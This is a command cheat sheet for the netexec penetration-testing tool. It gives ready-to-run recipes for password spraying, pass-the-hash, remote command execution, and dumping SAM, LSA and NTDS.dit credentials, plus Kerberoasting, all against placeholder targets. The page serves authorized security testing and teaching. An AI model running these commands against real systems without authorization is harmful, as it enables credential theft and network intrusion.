← Cheat Sheets / Network

netexec

Network execution tool for pentesting (CrackMapExec successor).

Quickstart

# SMB - check access
nxc smb 10.10.10.10 -u user -p password

# SMB - list shares
nxc smb 10.10.10.10 -u user -p password --shares

# WinRM - exec command
nxc winrm 10.10.10.10 -u user -p password -x "whoami"

# Password spray
nxc smb 10.10.10.0/24 -u users.txt -p password

Core Concepts

Concept Description
Protocols smb, winrm, ldap, mssql, ssh, rdp, wmi
Credential testing Spray, pass-the-hash
Execution Remote command execution
Enumeration Users, shares, policies

Syntax

nxc <protocol> <target> [options]

Options

Target

Option Description
<target> IP, CIDR, hostname, file

Authentication

Option Description
-u <user> Username (or file)
-p <pass> Password (or file)
-H <hash> NTLM hash
-d <domain> Domain
--local-auth Local authentication
-k Kerberos auth

Execution

Option Description
-x <cmd> Execute command
-X <ps> PowerShell command
--exec-method <m> Execution method

SMB Options

Option Description
--shares List shares
--users List users
--groups List groups
--loggedon-users Logged on users
--sessions Active sessions
--pass-pol Password policy
--rid-brute RID brute force
--sam Dump SAM
--lsa Dump LSA
--ntds Dump NTDS.dit

Output

Option Description
-o <file> Output file
--export <fmt> Export format

Recipes

SMB Enumeration

# Check credentials
nxc smb 10.10.10.10 -u user -p password

# List shares
nxc smb 10.10.10.10 -u user -p password --shares

# List users
nxc smb 10.10.10.10 -u user -p password --users

# Password policy
nxc smb 10.10.10.10 -u user -p password --pass-pol

# RID brute force
nxc smb 10.10.10.10 -u user -p password --rid-brute

# Logged on users
nxc smb 10.10.10.10 -u user -p password --loggedon-users

Credential Attacks

# Password spray (single pass, multiple users)
nxc smb 10.10.10.10 -u users.txt -p 'Password123'

# Multiple passwords
nxc smb 10.10.10.10 -u users.txt -p passwords.txt

# Pass-the-hash
nxc smb 10.10.10.10 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:hash'

# Local auth
nxc smb 10.10.10.10 -u admin -p password --local-auth

Command Execution

# CMD command
nxc smb 10.10.10.10 -u admin -p password -x "whoami"

# PowerShell
nxc smb 10.10.10.10 -u admin -p password -X "Get-Process"

# WinRM execution
nxc winrm 10.10.10.10 -u admin -p password -x "whoami"

Credential Dumping

# Dump SAM
nxc smb 10.10.10.10 -u admin -p password --sam

# Dump LSA
nxc smb 10.10.10.10 -u admin -p password --lsa

# Dump NTDS (DC)
nxc smb dc.target.com -u admin -p password --ntds

# Dump with method
nxc smb 10.10.10.10 -u admin -p password --ntds vss

Network Scanning

# Scan subnet
nxc smb 10.10.10.0/24

# With credentials
nxc smb 10.10.10.0/24 -u user -p password

# From file
nxc smb hosts.txt -u user -p password

LDAP

# LDAP enum
nxc ldap dc.target.com -u user -p password

# Get users
nxc ldap dc.target.com -u user -p password --users

# Get groups
nxc ldap dc.target.com -u user -p password --groups

# Kerberoasting
nxc ldap dc.target.com -u user -p password --kerberoasting output.txt

# AS-REP roasting
nxc ldap dc.target.com -u user -p password --asreproast output.txt

MSSQL

# Check access
nxc mssql 10.10.10.10 -u sa -p password

# Execute query
nxc mssql 10.10.10.10 -u sa -p password -q "SELECT @@version"

# Execute command (xp_cmdshell)
nxc mssql 10.10.10.10 -u sa -p password -x "whoami"

WinRM

# Check access
nxc winrm 10.10.10.10 -u user -p password

# Execute command
nxc winrm 10.10.10.10 -u user -p password -x "whoami"

# PowerShell
nxc winrm 10.10.10.10 -u user -p password -X "Get-Process"

SSH

# SSH access
nxc ssh 10.10.10.10 -u user -p password

# Execute command
nxc ssh 10.10.10.10 -u user -p password -x "id"

Output & Parsing

# Save output
nxc smb 10.10.10.0/24 -u user -p password -o results.txt

# Export JSON
nxc smb 10.10.10.0/24 -u user -p password --export json results.json

# Grep for success
nxc smb 10.10.10.0/24 -u user -p password 2>&1 | grep "+"

Troubleshooting

Issue Solution
Connection refused Check port, service
Access denied Verify creds, try --local-auth
Kerberos errors Check time sync, use -k
SMB signing --smb-signing off

References

← Retour aux cheat sheets